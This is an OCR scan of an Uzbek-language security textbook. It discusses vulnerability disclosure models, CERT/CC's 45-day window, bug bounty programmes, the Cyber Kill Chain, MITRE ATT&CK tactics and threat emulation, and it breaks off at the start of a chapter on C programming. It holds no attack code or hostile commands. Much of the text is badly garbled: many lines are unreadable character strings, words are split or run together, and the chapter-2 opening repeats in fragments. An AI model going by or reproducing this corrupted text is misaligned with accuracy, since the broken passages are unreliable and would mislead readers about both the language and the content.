qotni bosh ;?,“ fﬂl“"‘_]ﬂhlnuvchilar va zaiflik
yicha xaker 2ariah kabij masalalar muhim aha-
ddiyatlar yuzag;{: ndorning magsadlari o*zaro
ikni tuzatishi yep Th&h] mumkin. Muayyan 3~

qancha vaqy kifoya? Xaker

' 4]
la ml.lhll'n ekanioa :
2an Kishi muper o Shonchlari komilmi? Zaiflik

mi? Zaiflik haqida xabar berishdan aldinm: Kofotlani
uchun gancha vaqt berilishi kerak? Ma’ mFdalanuvchiia
Agar foydalanuvchilar xavf hagida tushuny Ol gancha)iy
Bu savollarga javoblar ko*
mdqigotchilaa}r. agar vendor zaifliknj ha| qilma;‘;ﬂlghuvla;ga sabab bo¢ladi. Ba'Z
Iagh imkonsiz, deb h:fpl%hl mumkin. Zaiflik 4 Al tanlagg, zaiflikni maxfiy sad-
chilarga xavf tug*dirishi hech kim vendornj :1:31‘ “ayotgan sharoitda iste’mol
5

D ik uchun javobgar qilmasé:
16

rga tuzatishlar kiritish
sa, ul batafsil bo‘lishi kerak”
pincha keskin 1 4Ar luzatishnj qo*llaydimi?

nihoyatda asabiylashtirishi mumkin. Bimg xaﬂ:sizlikkn jiiddiy e'tibor beradigan
vendorlar ham ko*pincha bir nechta tadqqu)t.cﬁllar, b}fud_}.etlar. mahs.urlot mene-
jerlari, iste’molchilar va investorlar talablarini inobatga F}ilh. u:s,tumr_lll_daml. mu-
vozanatlashea majbur bo*ladi va bu har doim ham har l:'nr tadgigotchini qoniqtira
olmavdi. I31;|11;1.~':1.Iular bo'yicha rasmiy konsensus ma\jud.emas_. lardie: to'li

?jaiﬁiklumi oshkor gilishning keng larqal_g.an 'ifSLI“al'rl c.;'uiru?;gll.alazilr. tzk:}?
vendor oshkor gilish, to*liq ommaviy u?hknr i.‘i.ll]Sh va mul:.crllq. [:?hhulnqi:::] ;?a-;ini
qilish. Ftik xakerlik ruhida biz mu\;ollqiasbt‘lrilg.an osh m'?':_-}ls ! ushunc g;hu
afzal ko*rsak-da. barcha variantlarni tushununrshfn mf“*“gﬁ.‘ i ?-,D 1}'2'2’111:'mh!z.“mi
bois ushbu masalani o‘rganib chiqib, garorni siz, o"quvehl, gabul gilishingiz
xohlaymiz.
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To'lig vendor oshkor qilish
Disclosure)

(Full Vendor Disclos! _ .
2000-yillardan boshlab, ba’zi tadgigotchilar %-end?ﬂarLlJmII?L hi‘ﬁ'ﬁi{;‘f;j;
ﬁﬁhl:i 1|‘?;1};';; r{h to*liq vendor oshkor qil%shm lanla;ma:; i.-r; ;an 3:3 bm;hqa m:
mdt]iq:m:_hilar zaii&iklami faqat vendorlar hl'lﬂgul':;:; 1.—;mnlm.l-:lning o
monlarga hech ganday ma’lumot hcr-:[::?illg;il; va huquqiy choralani go*llashdan

ine i ilik fikriga © ! : e .
ur:u.lfurlarnmg: _ltlnmnl*t:jl_‘ll;é-u:‘};;ﬁ[ or xavisizligi 1u5‘hl!uchasr| snluwchl.iﬁrhura?:da
Ef::.glrh ml:.lgilfla YN i;“ ko*plab kompaniyalar zaifliklarni oshkor gilish uchun

*ng tarqalishi natijasida, Ko'plab 7.0
rasmiy mexanizmlarni jorty etishga kirishga

ilishni i ki “white-
2 bkor gilishni talab qnlmag‘z-._n yo _
Ko*plab tadgigotchilar ommaga mlﬂ;; i ;‘siImIami e etk elikor g

h_at Xakerlik nugtai nazarld..an l.sﬂil:;];m? ko'rib chigish uchun yetarli j.ru_suzflar va
lishdan tiyilgan. Biroq rasmiy X4 babli bu ko'pincha zaiflikni tuza-

i i ii i sa . L . .
lashqi javobgarlik manbalari mavj:f: Egiizng\fendurlﬂmiﬁg saifliklami tuzatishga
tishga cheksiz vaqt sarflanishiga 1 KOIGH.

s dani daigotchilarni tushkunlikka
Yetarlicha rag*batga cga emasligi hagidagi tasavvur tadqiq

‘1l or gilishni afzal ko'rgan. . -
solgan va Ba’'zan xakerlar 10'liq ashkor q o gue R e Bl i
Dasturiy ta’minot ven

dorlariting "% i mi angilanishlami qan-
tchy i larni ishlab chigishnt, balki mijozlarga yang
N yangi jarayonl

; . (Ozearishlar gisqa muddat
: 7 ichiga oladi. O'zgariShiar Qi :
da P ishni ham 0°Z 1€ : hini kamaytirishi mumkin,
5C|fid:r'q?“=5h“; Eﬁiﬁﬁ; mahsulotga bo .]g_an ls:?,n;qtdirda, iste’molchilar yan-
Shunin]:sdekch gl nligi oshkor qilinmag
: gdek, nima

R ilar uchun katta va murak-
: . Ba'zi iste’molchik S e
Bilanishlarni o rnatmasliklar mun'fklﬂ- Bag“ﬁnishi logistik muammolarni keltirib
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chigarishi mumkin._[’amhni teskari muhandislik gilish va yangi eksploit yaratish
uchun zarur bo‘lgan vaqt, iste’'molchilarmi himoya gilish uchun talab etilgan vaqt
bilan solishtirilishi lozim. Bu, albatta, individual holatga qarab baholanishi kerak.

To'liqg ommaviy oshkor qilish
(Full Public Disclosure)

Ko*plab maxsus nashrlar, pochta ro‘yxatlari va Usenet guruhlari, jumladan,
1993-yilda yaratilgan mashhur Bugtraq pochta ro‘yxati zaifliklarni muhokama
gildilar. Ushbu oshkor qilishlarning ko'pi xakerning obro‘sini oshirish uchun
mo‘ljallangan edi. Boshqalar xavfsizlik muammolarini hal gilishga intilgan

bo*lsa-da, rasmiy aloqa kanallarining yo*qligi ularni tushkunlikka olib kelgan.
Ba'zi tizim egalari va cii_asluri}r la’minot provayderlari xavfsizlikni yetarlicha
tushunmagan, boshqalari esa bu muammolarni ¢'tiborga olish uchun qonuniy
sz}bahiarg? ega P“"“_"ﬁgar_" Yillar dfwnmida xakerlar hamjamiyatida, vendorlar-
ning lgdglqutch_llaml jiddiy qah_ui qilmasligi hagidagi norozilik ortdi. 2001 -yilda
xavfsizlik bo’yicha maslahatchi Rain Forest Puppy, agar v
zaiflikni 10°liq va ommaviy ravishda e'lon qilish uchun atigi bir hafia vaqt beri-
shini ta’kidlagan. 2002-yilda esa “Full Disclosure™ pochta ro*yxati tashkil etildi
bu esa n‘r: }.,ril fjavm.nida tadq%qnlchiiarga zaiflik tafsilotlarini vcndnrtluminu xa:
:ﬁ? bo’lishi yoki bo‘Imasligi farg gilmasdan, erkin ¢'lon qilish imkoniyatini
Ushbu uslubning ba’zi muhim asoschilari, :
detshgwni nalijalarg_a Fﬁshishning yagona yu‘i? -‘%?i:;i?:;l;a:;,i?:h ;hncfe; :;;u_yt:?,
ta'minot vendorlarining sharmanda bo*lishi muammonj lural-“f-h ”;ﬂi ab, szm:l y
rishi mumkinligini ta’kidlagan. Boshqa asoschilar, masala;, lp:;[ L.mmuhm 08 ;;-
}'nn-:]ar?hm-'ga qars!mi _chi‘qib, xavfsizlik holatining FaNShiIan} : ‘Hl:lxus‘ Ranum, dL:.
\'H.akﬁlnl:ha...‘iﬂ\-’rﬁlzhkm kamaytirishi mumkinligini bildire: e ﬂl.lh kclm‘mf I
lash kerakki, ushbu masalada kelishuy mavjud emas: o* Ii‘%dnt. "ff'una bir bor ta’kid-
gilishga undaymiz. To*liq oshkor gilish usuli shun:- f'uw‘chlm 0*z garorini qabul
gan muddatlarga rioya qilish uchun muammm;i to* .ll'!!:.dcl\.t\.’ﬂlldnrlarni belgilan-
mumkin. Bunday muammolar boshqa ladqiqﬂlch']g 11 hal ql!maslikka olib kelishi
va jarayon takrorlanadi. Har tomonidan tezda aniqlanadi
Dasturiy ta’minot vendorlari tomonid

saiflikdersi bartarsf esish bilss bog'li q;z hl?.h]ab L‘hiqilmagan kutubxonalardagi
lan, OpenSSLdagi Heartbl

L eed muammog; ﬂr:::}t:a aiyinchiliklar mavjud. Masa-
sion ll?.lnjklamln.g tarqatmalari zaif bo'|jp, qﬂlishig:EthHF“ar‘ ilovalar va operat-
1;;1:1?!]:: aIr.‘.l'hlqu\:fchlf_;i .ustE muAMMoni tezdg barlarari;] SE;’D bo'ldi. Har bir dastur

Igan versiyasini 0°z dasturiga qo*shigh; zarur, By ; 1 va kutubxonaning tu-
ayrim ven{_iorlar Pnsh_q?larga qaragandy tezrog ha: u Jarayon vaqt talab giladi va
dalanuvehilar zaif bo*lib goladi, chunk; akat giladi. Natijada, ba'zi foy-

endor javob bermasa,

huj :
necha kun o'tib, uni eksploitlashni bog}, Wumchilgp

D

laydilg, 22k €’lon gilinganidan bir

To'liq ommaviy oshkor qilishning yana bir :}I"za!hgll B xaal‘;:l?zl::ag;t;m:;u
r chiqarilishidan oldin jmm&aichiiikm' ngﬂh'i&mmshl un.d{;n;)]rla ae;i:. ' \;aba:rdur
tushuncha qora shiyapali xakerlar e hun u?nmani oldindan
aot L s e lﬂHlﬂi“L—‘al 35'3:‘32:;:3;“2‘-:;2511;; kurashni biroz teng-
Xabardor gilish hujumchilar va Dimoya=tae oy st -
]“-‘ihlirisl'-itiuumkintl Ommaviy oshkor qihshmﬁgﬁ it‘t?:sll:;]q?;; 112;:;32?5;0{]1;::
muhimdir. Ommaviy oshkor gilishdan s bi::l 11' dalanuvchilarga hujum qi-
hujumehilar ushbu zaifliklardan foydalangan ot ?‘ku?;mralarini ko'rsatish orqali
lishlari mumkin. Shuning uchun ommaga ’_‘“"’ls"{ lh'Lu.iir Bu savolni to'liq tahlil
foydalanuvchilari himoya qilish n-!asaimfﬂJ“:E Tuilli!:'lishiﬁan oldin ganday qilib
Qilish uchun hujumchilaming zaifiikiars nﬂj a javob berish sizning ixtiyo-
foydalanganligini aniglash zarur. Nihoyat, bu savoig

ringizga qoldiriladi.

Axborotni kelishilgﬂnl hzlda::::dri F;I:sml:.azib beruvchi to-
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. i ol milich uchun zarur ¥< > alar mas’ulivatni
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Vaziyatlarga Javob Berish Guruhi® (CERT) tomonidan tashkil etilgan Muvolig-
lashtirish Markazi (CERT/CC) 1988-yilda Morris “qurti” hodisasiga javoban ya-
ratilgan va qariyb 30 yil davomida zaiflik va xatoliklarni tuzatish bo*yicha ma’lu-
mot manbai sifatida xizmat gilgan. CERT/CC zaiflik hisobotlarini gayta ishlashda
45 kunlik imtiyozli davrni belgilaydi, bu davr davomida, agar zaiflik ma’lumot-
larini yengillashtiruvchi choralar ko*rilmasa, 45 kundan keyin ma’lumotlar ¢’lon
gilinadi. Xavfsizlik sohasi tadgiqotchilari zaiflik ma’lumotlarini CERT/CC yoki
uning vakolatli tashkilotlaridan biriga yuborishlari mumkin. CERT/CC bu ma’lu-
motlarni provayder bilan muvofiglashtiradi va agar xatolikni tuzatish mavjud
bo‘lsa yoki 45 kunlik imtiyozli davr o*tgach, zaiflik ma’lumotlarini e'lon giladi.
DHS kiberxavfsizlik va infratuzilma xavfsizligi agentligining muvofiglashtiril-
gan zaifliklarni oshkor gilish bo‘yicha pozitsiyasi hagida ma’lumot olish uchun
“go*shimcha manbalar” bo*limiga qarash kerak.

Boshqa bepul xatolar yo'q
Hozirgacha dasturchilarni to*liq oshkor gilish, to*liq jamoatchilikka oshkor
gilish va mas’uliyatni oshkor qilish usullari ha
zaifliklarni ochishning barcha usullari bepul bo*lib, xavfsizlik tadgiqotchilari
zaifliklarni aniglash uchun ko®p vaqtlarini sarflashadi. Ular ko inth:xl ? liyaviy
n:ll:lkﬂf'ﬂiﬂal'dﬂ‘n ko'ra jamoat manfaatlari uchun nugsonlarni usi;1knr qglégh:u in-
Eli:::?‘:l:yj;ﬂlda Poniey Siicsdaiooinl ko*pincha dasturchidan to*lovni
2009-yilda o'yin qoidalari o*zgardi. Har yili o*
konferensiyasida uchta mashhur xaker s0‘zga chi
Dai Zovi va Aleks Sotirov. Tagdimotda Miller bos
rov kartondan “TEKIN XATOLALAR YO'Q" ¢
Tadgiqotchilar, zaifliklarni aniglash va tadqiqot
vaqt miqdori ko*p hollarda olingan kompensatsi
ta'kidladilar. Bu holat xavfsizlik sohasida
taxassislar bu g*

qida muhokama gilindi. Ushbu

kaziladigan CanSecWest
qadi — Charli Miller. Dino
hehiligida Dai Zovi va Soti-
C8an yozuvni ushlab turishdi.
ucIu}n sarflangan nomutanosib
Ya miqdoridan yuqori bo*lishini

oshkor gilishni davom ettiradilar. Nima bo';
yat shok to*lgini bilan butun dunyo xﬂ‘-*rsiz]'l
insonlarni ilhomlantirdi, boshqalarni qo'r iit
ishlab chiqaruvchilar emas, balki '*adqiqmjh

Shidan qalii
K sohasi by:
.di‘ Shubhag
ilar tomop i

nazar, bu yangi kay!-
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1z, Xavfsizlik sohasida
ljish kuzatildi.
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“Bug-bounty™ dasturlari

- ; i birinchi rta 1995-yilda
“Bug-bounty™ xatolar uchun mukofotlar iborast birinchi ma y

. s odimi iedlinghafer tomonidan
“Netscape Communication Corporation” Xodit 7S anonidan sotb ofingan)
ishlatilgan. So*ng “iDefense” [kuyinchﬂ'i_lk ‘fm:i;cl.;g?shlah chiquvchilar o*rtasida
va TippingPoint tadgigotchilar va dasturty 12 [!1“1 i to‘lashni osonlashtirib, mu-
vositachi bo*lib, ma’Tumot “h'mf’his.h i I“u]":‘(;:;:“-*ﬂ[ﬂﬂzi“ﬂ Foundation™ “Firefox™
kofot olish jarayoniga yordam berdi mmi}.; J1n=:.:c~.n-es1da “Pwn20wn” muso-
uchun “bug-bounty ni tashkil etdi 1{}{17-}"1% Ia C;j wasi bo*1di: tadgigotchilar sov-
baqasi hoshlandi, bu xavfsizlik uchun burilish nuqtas

‘i - sine cksploitlarni namoyish
2alar va pul uchun tizimdagi zaifliklar "J,T:a.}gﬂmé‘ o'z dasturini, 2011-yil-
etish uchun yig*ildilar. Keyinchalik, zmﬂr:l:f'l [;inla}-'n <izmatlarini ishga tushirdi.
da “Facebook™ va 2014-yilda "M rotlar taklif gilmogdalar.
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va e'tirof olish imkonini beruvehi ballar), esdalik sovg*alari va moliyaviy mu-
kofotlardir.

“Bug-Bounty™ dasturlari atrofidagi bahs-munozaralar

Bug-bounty dasturlaridan foydalanishga hamma ham rozi emas, chunki ba’zi
bahsli fikrlar mavjud. Masalan, ishlab chiqaruvchilar ushbu platformalardan
tadgiqotchilarni saralash uchun foydalanishlari mumkin, ammo tadgiqotchilar
odatda ishlab chigaruvchilarni “bug-bounty” dasturlari yordamida baholay ol-
maydilar. Ba’zi “Bug-bounty” — xatoliklarni mukofotlash dasturlari hisobotlarni
yig'ish uchun o‘rnatiladi, ammo ishlab chiqaruvchilar tadqiqotchi bilan xolis
mulogot gilmasligi mumkin. Bundan tashqari, “dublikat™ javobining haqiqiyli-
gini aniglash mumkin emas. Ballarni hisoblash tizimi esa o'zaro bog‘lig bo'l-
magan omillarga asoslanishi mumkin, bu esa qora bozor hisobotining giymati-
ni hisobga olgan holda zaiflikni oshkor gilish qiymatini noto*g'ri aks ettirishi
ehtimolini keltirib chigaradi. Shuning uchun har bir tadqiqotchi “bug-bounty”
dasturi unga mos keladimi yoki uning afzalliklari kamchiliklardan ust:mmi yoki
yo'qligini mustaqil hal gilishi kerak.

Dushman: Black-hat xakerlik
Mashhur qadimiy xitoy sarkardasi Sun Tzu bundan 2500 yil avval shunday
degan edi: “Agar siz dushmanni va o'zingizni bilsangiz, yuzta jang natijalaridan
qo‘rc!maSIigingiz kerak. Agar siz o'zingizni bilsangiz, lekin dush;ann'ﬂ tanima-
sangiz, har bir jangda siz mag'lubiyatga uchraysiz”, Ushby abadiy maﬂl‘ﬂhml—}a
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va ular tez-tez ishlatilsa, o'z vagtida aniglanib, qisqa vaqt ichida tuzatiladi. Oq yoki
kulrang shlyapali xakerlar bu zaifliklarni aniglaganida, ular odatda teskari muhan-
dislik orqali zaiflikni o'rganib chigadi va dasturiy ta'minot ishlab chigaruvchisiga
“axlogiy™ xabar beradi. bu esa 0-kunlik zaiflikning samarali hayotini qisqartiradi.
Ikkinchidan, korxonaga kirish uchun ko*pincha 0-kun kerak emas. Tajovuzkorlar
uchun birinchi tahdidni hisobga olgan holda, ular odatda O-kunlardan faqat zarurat
tug‘ilganda va ko*pincha korxona tarmog’ ida o'z o'rmini egallaganlaridan keyin
ikkinchi darajali hujum sifatida foydalanadilar.

Lockheed Martinning “Cyber Kill Chain™ modeli
APT (doimiy jiddiy tahdidlar)ning gat’iy tabiati haqida so*z borar ekan,
2011-yilda Lockheed Martin quyida keltirilgan “Cyber Kill Chain™ deb nomlan-
gan modelni ishlab chigqanligini va tuzatish xarajatlarini aks ettirish uchun mos-
lashtirganlini ta’kidlash joiz.
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to port, xizmat, API (Application Programming Interface) hamda zaifliklarni ska-
nerlashni o'z ichiga olishi mumkin.

Qurollanish (Weaponization)

Qurollanish razvedka bosgichida aniglangan zaifliklardan foydalanish Ll':‘h““
mavjud eksploitlami yaratish yoki tanlashn; 0"z ichiga oladi. Odatda, APT hujum-
larining ushbu bosgichida g'ayrioddiy usullar qo‘lanilishi yoki nol (0-day) xa-
toliklardan foydalanishga ehtiyoj sezilmayd;, Odatda, foydalanish mumkin bo‘l-
gan, yopiq bo‘lmagan (unpatched), ommaga ma'lum bo*lgan zaifliklar mavjud-
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Rad etish (Deny)
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ATT&CK 8-versivasidagi taktikalar ro*yxati

Taktika Tavsil
Razvedka Cyber Kill Chainga o*xshaydi.
-
Hujum uchun zarur bo'lgan infratuzilmani, jumladan, buzilgan hisoblarni.
!{“um“m' imkonivatlarni va hujumni boshlash tizimlarini rivojlantirishni o'z ichiga
rivoglantirish .

oladi.

Dastlabki kirish

Cvber Kill Chain vetkazib berish bosgichiga o*xshash; tarmoq ichida dast-
labki kirishni qo*lga kiritish texnikasini tavsiflaydi.

Cvher Kill Chainning eksploit bosgichiga o'xshash; dastlabki eksploitni

o ishga tushirish usullarini tavsiflaydi.
Cyber Kill Chain o'ratish bosqichiga o*xshash: tarmogdagi gat"iyatlilikni
BN qt.-‘luu kiritish va saglab qolish usullarini tavsiflaydi.
Imtivozlarni Tarmogdagi tajovuzkorlar o'z imtiyozlarini oshirish uchun foydalanadigan
- L c bl ; :
kengaytirish ma’lum usullami tavsiflaydi.
(Qochish uchun go’ Haniladigan ma’lum texnikalarni tavsiflaydi. Ushbu tak-
Mudofadan tika texnikalarming eng katta ro*yxatiga ega, chunki hujumchilar qochish
st uchun ko*p kuch sarflashadi.
ot Hisob nomlari va parollarini o'g’ irlashda go*llaniladigan usullari tavsif-
ma’l lario: ¥
ume tlariga Iang.
kirish

—

Kashfliyot

Tarmoq ichidagi maxfy ma’lumotlar va resurslami topish uchun tajo-
vuzkorlar tomonidan qo*llaniladigan usullarni tavsiflaydi. Bu va kevingi
hﬂ";-l..]il'h avnigsa. aldash yo'li bilan aniglash uchun zaifdir.

r—

Yon tomondagi
harakat

Bu tajovuzkorlar jomonidan tashkilot bo*ylab harakatlamsh, hujum gilish
va yangi tizimlarga kirish uchun ishlatiladigan usullarmi tavsiflaydi. ko*pin-
cha ilgari olingan imtiyozli kirish orgali.

To*plam

Bu tajovuzkorlar tomonidan maxfiy ma'lumotlarni yig'ish va sahnalashti-
rish uchun qo*llaniladigan usullarni tavsiflaydi.

e

Buyrug va nazorat

r Kill Chainning C2 bosqichiga o*xshash, ya'ni tajovuzkor va zararli

“ybe L gk . . :
Cybe a o rnatish uchun ishlatiladigan usullarni tavsiflaydi.

dastur o'rtasida alog

Eksfiltratsiya

i

Tarmogdagi maxiiy ma’lumotlami olib tashlash uchun tajovuzkorlar to-
monidan qo’llaniladigan usullarni tavsiflaydi. Bu bir nechta fayl bo*lishi
mumkin, lekin ko'pincha gigabayt ma'lumotlar bo*ladi.

Ta'sir

Kill Chainning magsadlar bo'yicha harakatlar bosqgichiga o*xshash;
*lumotlami manipulyatsiya gilish, to'xtatish yoki yo'q gilish
lar tomonidan go‘llaniladigan usullami tavsiflaydi.

Cyber
tizimlar va ma
uchun |;|ju1.'uzkﬂl‘

]




..5#'

Kiber tahdidlarni taqlid qgilish (Cyber Threat Emulation)

Dushn?an harakatlarini bilganingizdan so'ng, uning TTP (Taktika, Usullar va
Jaray:?r!lan}ga anlid gilib, quyidagilarni aniglashingiz mumkin: (1) sensorlaringiz
to'gn Jﬂ}r’lﬂﬁﬁll}'ﬂgﬂﬂﬁgiﬂi va ular aniglashi kerak bo‘lgan narsani muvaffaqiyat-
li aplqla}'aplimi_ yoki yo'qligini, (2) potensialingiz “u;g‘:muun“ yoki yo*gligini
va javob 1‘13}’13”511 laﬂ‘_h'qﬂidﬂmﬁ talabga mos kulishi;mi kuz‘,'mish .ﬂ ?\-135;I;m. agar
APT28 Sizning snhanglfga bo*lgan gizigishi tufayli tashkilotingizga tahdid sola-
?:lﬁz':;“f :g;ql.agan hf:' 15?“&;_12- Lusl_lhu APT uchun belgilangan protseduralardan
Ias}rh ” E: Mgz va lﬂ?hkﬂﬂlt_nfglzr_nr}g ushbu APT hujumining oldini olish, anig-
h va unga qarshi turish qobiliyatini baholash uchun boshaq: T|. dic: ashglarni
bajarishingiz mumkin. Shunda ilib, ki F - g i Igﬂ"-!{h}h . be
; ay qulib, kiber tahdidlarni taglid qilis| CTE — cyber
threat emulation) samaradorlikn; muvaffagiyatli b B e

ningﬂhusgaymligini satlasben okion herud;:l yath baholash va himoya funksiyas

u borada samarali i T :

O l:;:;;:zahlia;ﬁ::&ibm “Red Canary“ning Atomic Red Team
E.slatma: Kiber tahdidlarga qarghi.
boshliglar bilan kelishib olganingizeg
operatsiyalari markazi (SOC Sﬂcuﬁt
harakatlaringizni ushby tas} A
kin, ammo tahlilchilar magh,

ning reaksiyasi sinovning b

mashg*ulotlarni o*tkazishdan oldin, ularmi
'shonch hosil qiling. Agar sizda xavfsizlik
kilot rahba[?ptf'rmmns center) bo*lsa, siz o*zingizning

f1 bilan ham muvofiglashtirishingiz mum-

qlar hagida bijmacl:
i Hmasliklari taveiva erilad: o i ular-
r qismidir, avsiya etiladi, chunk

‘ T s
Tahdidlami ovlash kit ahdid ovj (Threat Hunting)

z erxavisizlikn: : i
batafsil muhokama qilinadi, amn:‘:ft!;i;nng yangi tendensiyasidir. Bu 9-bobda

bilan aloqani ko'rish foydaigiy, 1) . OSdichda MITRE ATT&CK tiZiM]
CTE mﬂ:thlariga 0"xshash AP"i'I 5h ‘u reymvork yordamida tahdid ovehis!
holda hujumning bir nec °" 10°plamip; tanlashi mumkin, biroq US"°Y

; Iﬂagi . i
tahdid ovchisi ushhy f5 POlezalarip; g I¢ g " halik
razlarni ; b chj Is P Lyincha
t15botlash oy rad cligllqsurlzlr:1 :nl:il:l :I(;:if:l ma’ v
w1Derte E

motlaridan, shunip
raan, gdek, tarm
mumkin. Eng yaxshi hi °d muhiti haq: hi
- movach; : aqida . s - Jants
ligi uzoq vaqtdan berj mﬂ%;uil]aEr hl.uumChiIar (},a'?]?fl‘dﬂrhg:dan IU};d?] .

# . H : ] i [ '. ‘
Elarm. muntazam ravishds ku?ﬂtibngl Vizda buzg.uHchﬁra}' hat hal‘“?:lﬂd" Keyin
azasi bilan uslubiy ravishda t.wqih Orish uchyy, freymy, ar;:, xa:”.gk i hﬁilimlnl‘
qilish ‘OrK tarkibidag

15h vositac:
SN vositgg; mavijud

kan-

Xavfsizlik
Xavfsizlik muhangdis; « Muhandig)jo;

e 1 i Bl (Secyr fico oy
modelini ishlab chigish muififlda MiT [ Ltun}y Engineering) did
il jaduazlgil?:t :m;u in {qu*; il*l'n::\l:]'.;-,lini MITRE ATT&CK N&¥™
tanlash uchun ishlatilishj mum;;i?l Ylgk'ﬂb G“n;’n;;l: Manbalar bo*limiga qalra;:igni

- Key; ma’lum bir APT to'pid

n
30 " Clektron jadvaldan CTE mashd”

lari natijalaridan foydalanib bo'shliglarni aniqlash va ma'lum bir APTga nisbatan
qamrov darajasini olish uchun maxsus usullarga ranglarmi go‘llashda foydalani-
shingiz mumkin. Natijada, tegishli qamrov xaritasiga ega bo‘lgan ushbu tahdid
modeli bo*shliglami bartaraf etish uchun kelajakdagi nazoratni ishlab chigishda

ishlatilishi mumkin.

Xulosa

Ushbu bo‘limda “kulrang shlyapali xakerlik™ mavzusi umumiy tushuncha-
larga bo‘linadi, bu axlogiy xakerlikni himoya rqus:_ld_lar'{da huqtuc‘ibuza_ﬂikdan
foydalanish deb ta'riflaydi. Ushbu iboraning k‘ﬂI.lh. clnqls_hs va tarixiga qlsgacha
to*xtalamiz. Keyin zaifliklarni oshkor gilish tarixini va uning ﬂ:?|DE!1}'I xakerlik bi-
lan ganday bog'ligligini ko'rib chigamiz. Nth}'ﬂt‘- ]‘ﬂ'ﬂ'b fﬂ?"ﬁ““'lm“hﬂkﬂﬂ‘ﬂ
gilishga ¢“tibor garatamiz va MITER ATT&C}( nzmnda.n foydalanib, ularning
faolivatini tasvirlash, baham ko‘rish va ovlashni ik e Bu yr.mdasl]uv_ xavi-
sizlik sohasida xakerlik metodlarini chuqurmlq tushunishga va samarali himoya
strategiyalarini ishlab chigishga yordam beradi.

Qo‘shimcha manbalar

CISA Coordinated Vulnerability Disclosure Process (CVD)
\x'ww.ci511.um'f’cunrdinmudvulncrabitily—disclosurc-pmuﬁs
Red Canary Atomic Red Team
gilhuh,cmnfrcdcn|1ar}f::ue’alm11lc-rcd-l
MITRE ATT&CK Navigator f

1 H r o lafiark = salor
mIit‘l:*a[tai:k.g_llflllh.m.-"dll.lLL naviga )
Threat Hunting with MITRE ATT&CK o .
www.threathunt ing.se/2020/05/24/threatdetection-w ith-mitre-attck-and-ato-

mic-redteam/
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2-BOB. DAST URLASH KO*NIKM A ARI

Ushbu bobda quyid

* C dasturlash tili:

* Kompyuter xotiras;:

* Intel protsessorlari:

* Assembler tili asoslari:

* gdb asosida dehuggingfash;

* Python dasturlash tjj;

Nega dasturlashnj 0'rg
sohada iloji boricha ko'pro
lardagi zaif joylarni anigl

agi mavzular Yoritiladi:

kD'ﬂikmaiari.

anish kerako Etik xaker|
q bilim olishlarj Zarur, Ch
. _ ashlari vq Noelik xakerjar u
bu kamchiliklarnj hz!narafelishlari kerak. Ko‘plah Xavisizlik mutaxassislari das-
l}uﬁi:fshga n:lnfm‘anaw}r nuqtai nazarday :‘fﬁ“dﬂﬁhad“;ﬁr .1, I!Ti udmlilr [:p-:h“i 0'Z
fanr]‘iyatlarml F!DShlElSh.dﬂl:l oldin o* aNmagay, hﬂ‘”'ﬂhi‘lf “Lu dr,_dhl} “ idirish
hf" Juda_ yuq‘urn IEZkI{)ﬂ.ILEHI talab qQiluveh ishdir: ﬂga;yq'fr::\_m .In..‘}aatn :llii‘l‘l 1.Eim o
bll:irli.‘hl hf’ h.b lﬂplshl. Juda myhjp, hfmb!anadit USI:h I Th md_uud ho l--.:j s
chlgg ke}rtmgllhﬂhlarm tushunish Uchun , o'l ! 2obning e _] { Jarini
tagdim etishdir. Bunday ku*nikmalar, shunip e turlash ko' nikmal
xakerlardan oldip aniqglash i k

B ABSturlardagi vatols '"‘wlik
i » Q3 a2 xatolarm
Ling yaratadi. .

. . u

ar dasturlashni o*rganib, bl
. : aelals
unki ular dasturiy n'.ulhz-.ui'l;“l
" f . I

lardan foydalanishidan oldi

Cd :
C dasturlash ) 1972-yilda AT &Ta““rlash tili

i iqi H E L] o
ishlab chigilgan, Ushbu tj] Unix tizimiy ‘I Lahg dan Dennis Ritchie lt‘Hl!ﬂ'de:
tizimlar va dasturlarda nmmalashgan B eng qh'”ﬂnilgan va shu sababli ko*pla
va operatsion tizimlar, shuningdet. y,. 210 kot

- urlar
. s Mieroe Pla Mashhur 1armoq dastu
uzerlar kabi kattq dasturlar ham ¢ T0s0ft Oy . ]

Ice Syite ader va brd”
b R : » G+ Oy Hite, Adobe Reader v: :
darajadagj tillarning kumhmatsi}fasida ynzilgi;ftn.au- 3 assembler va bosh ga past
Cfi“nin
Har bir C dasturi ypjky hﬁ-lis;L_ a I‘““Struksiym ;
tuzilmalarn; uchratish Mumkin Ughh' A qarama}f o* arj £, xil
qilinadi, T luz”m&lar.'c Ly asturlarda h;uamﬁ
YINgi boblarda muhok
. ’ Maj
Har bir ¢ dasturj Main() I"Unk;ﬂ ',‘“_“ksi}rasi
kerak (ba'z holatlarda iStiS0lar g S0 (ki

keltirilgan), F

‘chik | T jshi
unksiya quyidagj shaklaaf ?f,‘ ar gy, arda) o, jepiga ol

lish murnlsc?;?mha Manbalar™ qism’!

1l ¥ - » e i F e apa o
i I|I refurn 1‘(“””1. H'lﬂr. = maing =« i-' "J”!if {;:I"“‘ ]
b LET Y i I ; / ; ..“.”‘“ ni=)
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jburiy emas. Agar qay-

:rda qaytariladigan giymat turi va argument l'a;;“;J}z;?yLekin ba’zi kom-

i et ko'rsatilmasa, odatda int upt & a. : angiz voki void

tariladigan e mrl. iymat turi sifatida int tipini k'? T"‘“[mﬂ:, iihi-murnkin.
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2-BOB. DASTURLASH KO'NIKMALARI

Ushbu bobda quyidagi mavzular voritiladi:
* C dasturlash tili;

* Kompyuter xotirasi:

* Intel protsessorlari:

* Assembler tili asoslari:

* gdb asosida debugginglash:

* Python dasturlash tili ko'nikmalari.

plab xavfsizlik Mmutaxassislari das-
turlashga noan’anaviy nuqtai na; ilar, ya'ni ular dasturlashni o'z
faoliyatlarini boshlashdan oldin o'rganmagan bo*lishj mumkin. Xatolarni gidirish
bu juda yugori tezkorlikni talab qQiluvchi ishdir- agar zaiflik mavjud bo*lsa. kim uni
birinchi bolib topishi Juda muhim hisoblanadi. Ushby bobning magsadi o*quv-
chiga keyingi boblarn; tushunish uchun zarur bo'lgan dasturlash ko*nikmalarini
taqdim etishdir, Bunday ko*nikmalar, shuningdek,

dasluriardagi Xatolarni noetik
n aniglash imkoniyatin; Yaratadi,

an. Hatto ko‘plab Mashhur tarmoq dasturfari
» Viierosoft Office Suite, Adobe Reader va bra-

» U+, Objective-C, assembler va boshqa past
iyasida yozilgan,

C tilining sodda

Har bir C dasturi unikal bo‘lishiga

tuzilmalarni uchratish mumkin, Ushby 1y
gilinadi.

kunstruksi}ralari
Qaramay, ko

plab dasturlarda bir xil
zilmala

